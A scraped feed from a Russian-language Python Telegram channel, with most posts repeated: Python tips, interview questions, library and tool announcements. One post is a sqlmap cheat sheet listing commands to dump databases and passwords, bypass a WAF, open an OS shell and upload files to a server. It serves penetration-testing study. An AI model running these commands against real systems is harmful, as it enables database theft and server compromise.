Вы точно не знаете, что такое тип в Питон - от слова совсем.
https://www.youtube.com/watch?v=mXZ2_6YPo1Y
@python_be1
https://youtu.be/mXZ2_6YPo1Y
https://www.youtube.com/watch?v=mXZ2_6YPo1Y
@python_be1
https://youtu.be/mXZ2_6YPo1Y
YouTube
Вы точно не знаете, что такое тип в Питон - от слова совсем.
Вы точно не знаете, что такое тип в Питон - от слова совсем.
Как изучить тип?
Рекомендованное видео:
Как стать разработчиком Python за полгода? Метод бомба.
https://www.youtube.com/watch?v=WE97eOZwnTA
Мы уже изучили, - скажут, большинство ребят.
Проверяем.…
Как изучить тип?
Рекомендованное видео:
Как стать разработчиком Python за полгода? Метод бомба.
https://www.youtube.com/watch?v=WE97eOZwnTA
Мы уже изучили, - скажут, большинство ребят.
Проверяем.…
👍1
3⃣0⃣ дней Python
Описание выглядит очень привлекательно! Если вы хотите быстро погрузиться в мир программирования на Python, этот гайд будет отличным выбором. Он покрывает все основные аспекты языка и позволяет вам развить навыки в различных областях, включая работу с модулями, понимание типов ошибок, использование PIP для установки библиотек, веб-скрейпинг и создание API.
Рекомендую ознакомиться с содержимым репозитория и начать изучение по мере возможности. Важно отметить, что продолжительность изучения зависит от вашего уровня подготовки и скорости обучения. В любом случае, даже если вы не уложитесь в 30 дней, сам процесс будет полезным и увлекательным.
Для тех, кто уже имеет опыт работы с другими языками программирования, эти 30 дней могут стать отличной возможностью углубить свои знания и научиться новым приемам.
▪модули; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/12_Day_Modules/12_modules.md)
▪типы ошибок в Python; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/15_Day_Python_type_errors/15_python_type_errors.md)
▪PIP; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/20_Day_Python_package_manager/20_python_package_manager.md)
▪веб-скрэпинг; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/22_Day_Web_scraping/22_web_scraping.md)
▪создание API. (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/29_Day_Building_API/29_building_API.md)
🔗 Ссылка (https://github.com/Asabeneh/30-Days-Of-Python)
@python_be1
https://github.com/Asabeneh/30-Days-Of-Python/blob/master/12_Day_Modules/12_modules.md
Описание выглядит очень привлекательно! Если вы хотите быстро погрузиться в мир программирования на Python, этот гайд будет отличным выбором. Он покрывает все основные аспекты языка и позволяет вам развить навыки в различных областях, включая работу с модулями, понимание типов ошибок, использование PIP для установки библиотек, веб-скрейпинг и создание API.
Рекомендую ознакомиться с содержимым репозитория и начать изучение по мере возможности. Важно отметить, что продолжительность изучения зависит от вашего уровня подготовки и скорости обучения. В любом случае, даже если вы не уложитесь в 30 дней, сам процесс будет полезным и увлекательным.
Для тех, кто уже имеет опыт работы с другими языками программирования, эти 30 дней могут стать отличной возможностью углубить свои знания и научиться новым приемам.
▪модули; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/12_Day_Modules/12_modules.md)
▪типы ошибок в Python; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/15_Day_Python_type_errors/15_python_type_errors.md)
▪PIP; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/20_Day_Python_package_manager/20_python_package_manager.md)
▪веб-скрэпинг; (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/22_Day_Web_scraping/22_web_scraping.md)
▪создание API. (https://github.com/Asabeneh/30-Days-Of-Python/blob/master/29_Day_Building_API/29_building_API.md)
🔗 Ссылка (https://github.com/Asabeneh/30-Days-Of-Python)
@python_be1
https://github.com/Asabeneh/30-Days-Of-Python/blob/master/12_Day_Modules/12_modules.md
👍1
tg2md – это скрипт, который анализирует выходные данные из канала Telegram и конвертирует каждую публикацию в формат, совместимый с Jekyll, используя разметку Markdown.
Telegram Desktop создает файл JSON, а также различные каталоги, содержащие мультимедиа, фотографии и другие материалы.
Этот скрипт создает новый каталог и заполняет его отформатированными сообщениями, готовыми к публикации. Для получения дополнительной информации посетите https://github.com/la-ninpre/tg2md.
▪ Github (https://github.com/la-ninpre/tg2md)
@pythonl (https://t.me/pythonl)
@python_be1
Telegram Desktop создает файл JSON, а также различные каталоги, содержащие мультимедиа, фотографии и другие материалы.
Этот скрипт создает новый каталог и заполняет его отформатированными сообщениями, готовыми к публикации. Для получения дополнительной информации посетите https://github.com/la-ninpre/tg2md.
▪ Github (https://github.com/la-ninpre/tg2md)
@pythonl (https://t.me/pythonl)
@python_be1
👍1
🖥 Быстрый совет Python
Используйте спецификатор <code>`=` </code>в f-строках, чтобы включить как имя переменной, так и ее значение в форматированную строку.✨
@python_job_interview
@python_be1
Используйте спецификатор <code>`=` </code>в f-строках, чтобы включить как имя переменной, так и ее значение в форматированную строку.✨
@python_job_interview
@python_be1
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Заслуженный работник ИТ заходит в кофейню за тыквенным латте
@python_be1
@python_be1
👍1
❓ Как реализовать менеджер контекста в Python с помощью класса? В каких случаях его стоит использовать? Приведите пример его реализации и покажите, как он работает
❗️Менеджеры контекста позволяют правильно управлять ресурсами, например, открытием и закрытием файлов, установлением и завершением соединений с базами данных или блокировкой и освобождением ресурсов в многопоточном программировании. Классический способ создания менеджера контекста — использование конструкции with. Менеджеры контекста помогают упрощать код и предотвращают утечки ресурсов, так как гарантируют выполнение завершающих действий даже при возникновении исключений.
Для создания менеджера контекста с помощью класса необходимо определить два метода:
enter() — код, выполняемый при входе в контекст (with).
exit(self, exc_type, exc_val, exc_tb) — код, выполняемый при выходе из контекста, даже если внутри возникло исключение.
💡Пример:
Допустим, у нас есть класс DatabaseConnection, который имитирует подключение к базе данных. Менеджер контекста будет обеспечивать автоматическое подключение и отключение от базы данных:
class DatabaseConnection:
def __init__(self, db_name):
self.db_name = db_name
def __enter__(self):
# Действия при входе в контекст
print(f"Connecting to database '{self.db_name}'...")
self.connection = f"Connection to {self.db_name}"
return self.connection # Возвращаем объект соединения
def __exit__(self, exc_type, exc_val, exc_tb):
# Действия при выходе из контекста (закрытие соединения)
print(f"Closing connection to '{self.db_name}'...")
self.connection = None
return False # Если возникло исключение, не подавлять его
# Использование менеджера контекста
with DatabaseConnection('test_db') as conn:
print(f"Using {conn} to execute queries...")
Результат выполнения:
Connecting to database 'test_db'...
Using Connection to test_db to execute queries...
Closing connection to 'test_db'...
💡Объяснение
🌟Метод enter() открывает соединение и возвращает его.
🌟Метод exit() автоматически вызывается при выходе из блока with и закрывает соединение.
🌟Если в блоке with возникнет исключение, оно будет передано в exit(), но не будет подавлено (return False).
@python_be1
❗️Менеджеры контекста позволяют правильно управлять ресурсами, например, открытием и закрытием файлов, установлением и завершением соединений с базами данных или блокировкой и освобождением ресурсов в многопоточном программировании. Классический способ создания менеджера контекста — использование конструкции with. Менеджеры контекста помогают упрощать код и предотвращают утечки ресурсов, так как гарантируют выполнение завершающих действий даже при возникновении исключений.
Для создания менеджера контекста с помощью класса необходимо определить два метода:
enter() — код, выполняемый при входе в контекст (with).
exit(self, exc_type, exc_val, exc_tb) — код, выполняемый при выходе из контекста, даже если внутри возникло исключение.
💡Пример:
Допустим, у нас есть класс DatabaseConnection, который имитирует подключение к базе данных. Менеджер контекста будет обеспечивать автоматическое подключение и отключение от базы данных:
class DatabaseConnection:
def __init__(self, db_name):
self.db_name = db_name
def __enter__(self):
# Действия при входе в контекст
print(f"Connecting to database '{self.db_name}'...")
self.connection = f"Connection to {self.db_name}"
return self.connection # Возвращаем объект соединения
def __exit__(self, exc_type, exc_val, exc_tb):
# Действия при выходе из контекста (закрытие соединения)
print(f"Closing connection to '{self.db_name}'...")
self.connection = None
return False # Если возникло исключение, не подавлять его
# Использование менеджера контекста
with DatabaseConnection('test_db') as conn:
print(f"Using {conn} to execute queries...")
Результат выполнения:
Connecting to database 'test_db'...
Using Connection to test_db to execute queries...
Closing connection to 'test_db'...
💡Объяснение
🌟Метод enter() открывает соединение и возвращает его.
🌟Метод exit() автоматически вызывается при выходе из блока with и закрывает соединение.
🌟Если в блоке with возникнет исключение, оно будет передано в exit(), но не будет подавлено (return False).
@python_be1
👍1
🐺 LibreWolf (https://codeberg.org/librewolf) – это версия браузера Firefox, созданная независимыми разработчиками и направленная на обеспечение конфиденциальности и безопасности пользователей.
Хотя она появилась относительно недавно, в последнее время её популярность быстро растет. Браузер имеет открытый исходный код, ссылку на который можно найти на сайте разработчиков.
Для загрузки предлагаются 64-битная версия браузера для Windows в виде стандартного установщика и, в качестве альтернативы, портативное приложение в ZIP-архиве.
Если обычно вы пользуетесь Firefox, интерфейс программы покажется вам знакомым. Сразу бросается в глаза, что в качестве поисковой системы по умолчанию в LibreWolf используется DuckDuckGo, но её можно заменить другими поисковыми системами, считающимися безопасными: например, Searx или Qwant. Настройки браузера в целом аналогичны Firefox, никаких специфических опций в окне конфигурации браузера обнаружить не удалось.
В LibreWolf в целях безопасности заблокирован стандартный менеджер паролей, но вместо него можно использовать сторонние плагины для Firefox. Также в браузере включен так называемый режим Enhanced Tracking Protection, который блокирует некоторые сторонние скрипты, если их не заблокировал плагин uBlock Origin.
https://codeberg.org/librewolf
@linuxkalii
@python_be1
Хотя она появилась относительно недавно, в последнее время её популярность быстро растет. Браузер имеет открытый исходный код, ссылку на который можно найти на сайте разработчиков.
Для загрузки предлагаются 64-битная версия браузера для Windows в виде стандартного установщика и, в качестве альтернативы, портативное приложение в ZIP-архиве.
Если обычно вы пользуетесь Firefox, интерфейс программы покажется вам знакомым. Сразу бросается в глаза, что в качестве поисковой системы по умолчанию в LibreWolf используется DuckDuckGo, но её можно заменить другими поисковыми системами, считающимися безопасными: например, Searx или Qwant. Настройки браузера в целом аналогичны Firefox, никаких специфических опций в окне конфигурации браузера обнаружить не удалось.
В LibreWolf в целях безопасности заблокирован стандартный менеджер паролей, но вместо него можно использовать сторонние плагины для Firefox. Также в браузере включен так называемый режим Enhanced Tracking Protection, который блокирует некоторые сторонние скрипты, если их не заблокировал плагин uBlock Origin.
https://codeberg.org/librewolf
@linuxkalii
@python_be1
👍1
⚡️ Crawl4AI v0.2.77 🕷️🤖
Этот репозиторий на GitHub позволяет легко парить веб-страницы и получать выходные данные в форматах, удобных для LLM (JSON, очищенный HTML, markdown).
Особенности
• Поддерживает одновременный обход нескольких URL-адресов
• Извлекает и возвращает все медиатеги (изображения, аудио и видео)
• Извлекает все внешние и внутренние ссылки
• Извлекает метаданные со страницы
• Настраиваемые перехватчики для аутентификации, заголовков и изменений страницы перед сканированием
▪Github: https://github.com/unclecode/crawl4ai
▪Colab: https://colab.research.google.com/drive/1sJPAmeLj5PMrg2VgOwMJ2ubGIcK0cJeX?usp=sharing
@pythonl
@python_be1
Этот репозиторий на GitHub позволяет легко парить веб-страницы и получать выходные данные в форматах, удобных для LLM (JSON, очищенный HTML, markdown).
Особенности
• Поддерживает одновременный обход нескольких URL-адресов
• Извлекает и возвращает все медиатеги (изображения, аудио и видео)
• Извлекает все внешние и внутренние ссылки
• Извлекает метаданные со страницы
• Настраиваемые перехватчики для аутентификации, заголовков и изменений страницы перед сканированием
▪Github: https://github.com/unclecode/crawl4ai
▪Colab: https://colab.research.google.com/drive/1sJPAmeLj5PMrg2VgOwMJ2ubGIcK0cJeX?usp=sharing
@pythonl
@python_be1
👍1
Вот отличный пример для пет-проекта, где вы сможете изучить несколько библиотек одновременно и создать готовое решение для определенной задачи. Автор статьи поделился своим опытом разработки, инструментами, которые он использовал, и трудностями, с которыми он столкнулся. Также в статье приведена ссылка на репозиторий с исходным кодом.
https://habr.com/ru/articles/819477/
@python_be1
https://habr.com/ru/articles/819477/
@python_be1
Хабр
Как я создавал аудиоплеер на python с FFmpeg
Всех приветствую. Сегодня хочу поделиться опытом создания своего первого проекта на Python. Мой проект — это простой аудиоплеер, и я хочу рассказать, как я его создавал, с какими сложностями...
👍1
❓ Как механизм interning влияет на сравнение строк в Python? Приведите пример, когда использование оператора == и оператора is для строк дает разные результаты. В каких случаях это знание может быть полезно?
<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.
</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).
Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"
print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект
# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"
print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>
@python_job_interview
@python_be1
<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.
</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).
Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"
print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект
# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"
print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>
@python_job_interview
@python_be1
👍1
🖥 Flet — фреймворк для создания кроссплатформенных приложений на Python
— <code>pip install flet</code>
Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).
Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.
🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)
@pythonl
@python_be1
— <code>pip install flet</code>
Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).
Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.
🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)
@pythonl
@python_be1
👍1
pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.
https://github.com/pocketpy/pocketpy
@python_be1
https://github.com/pocketpy/pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.
https://github.com/pocketpy/pocketpy
@python_be1
https://github.com/pocketpy/pocketpy
GitHub
GitHub - pocketpy/pocketpy: Portable Python 3.x Interpreter in Modern C for Game Scripting
Portable Python 3.x Interpreter in Modern C for Game Scripting - pocketpy/pocketpy
👍1
👩💻 Построение графика цены акций в виде японских свеч с использованием библиотеки yfinance
▪ Github (https://github.com/ranaroussi/yfinance)
@pythonl
@python_be1
▪ Github (https://github.com/ranaroussi/yfinance)
@pythonl
@python_be1
👍1
Что делает метод truncate()?
Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.
Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.
Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@python_be1
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.
Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.
Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@python_be1
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>
@linuxkalii
@python_be1
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>
@linuxkalii
@python_be1
👍1
✔️ YOLO11: новая эра в компьютерном зрении.
Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.
YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.
YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.
ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@python_be1
Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.
YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.
YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.
ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@python_be1
👍1